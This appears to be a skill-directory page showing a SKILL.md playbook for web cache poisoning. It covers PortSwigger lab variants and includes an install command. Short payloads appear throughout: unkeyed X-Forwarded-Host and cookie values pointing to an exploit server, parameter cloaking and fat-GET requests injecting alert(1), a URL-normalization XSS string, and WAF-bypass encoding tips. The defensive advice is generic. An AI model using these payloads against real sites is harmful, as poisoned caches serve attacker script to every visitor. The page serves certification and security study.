Web cache poisoning
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniquesFrom its SKILL.md
npx -y skills add ShulkwiSEC/bb-huge --skill web-cache-poisoningAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
SKILL.md
5.0 KB, ~1.2k tokens by cl100k_base, as published. Nobody here has run it
Web Cache Poisoning β Complete Deep Dive
Deep-Dive Lab Playbook β Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. π’ Apprentice π‘ Practitioner π΄ Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Unkeyed header π‘ PRACTITIONER
GET / HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER
Cache stores response with your malicious host in script/link tags.
Lab 2: Unkeyed cookie π‘ PRACTITIONER
GET / HTTP/1.1
Cookie: fehost=EXPLOIT-SERVER"
Lab 3: Multiple headers π‘ PRACTITIONER
Combine X-Forwarded-Host + X-Forwarded-Scheme: http to force redirect to your server.
Lab 4: Unknown header π‘ PRACTITIONER
Use Param Miner to discover: X-Host, X-Forwarded-Server, etc.
Lab 5: Unkeyed query string π‘ PRACTITIONER
Query string excluded from cache key β add XSS in query, all users get poisoned response.
Lab 6: Unkeyed query parameter π‘ PRACTITIONER
Specific parameter excluded from cache key (e.g., utm_content). Inject XSS there.
Lab 7: Parameter cloaking π‘ PRACTITIONER
/js/geolocate.js?callback=setCountryCookie&utm_content=1;callback=alert(1)
Backend parser sees second callback, cache key only includes first.
Lab 8: Fat GET request π‘ PRACTITIONER
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
Content-Length: 30
callback=alert(1)
GET with body β backend reads body param, cache uses URL param as key.
Lab 9: URL normalization π‘ PRACTITIONER
/random</p><script>alert(1)</script><p>foo β browser URL-encodes, cache doesn't β poisoned.
Lab 10: DOM vuln via strict cache π‘ PRACTITIONER
Find DOM XSS sink, poison cache to inject payload via unkeyed header/param.
Lab 11: Combining vulnerabilities π΄ EXPERT
Chain multiple unkeyed inputs together for exploitation.
Lab 12: Cache key injection π΄ EXPERT
Inject cache-key delimiter characters to control what gets cached.
Lab 13: Internal cache poisoning π΄ EXPERT
Target application-level cache (not CDN). Fragment-based caching reuses cached fragments across pages.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
π΅ Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
π‘οΈ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
π Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdβ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdβ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdβ Verified disclosed bounties by vulnerability class
References
What ships with it: 1 file
7.8 KB alongside SKILL.md, 1 of them executable
scripts/
- process.pyruns7.8 KB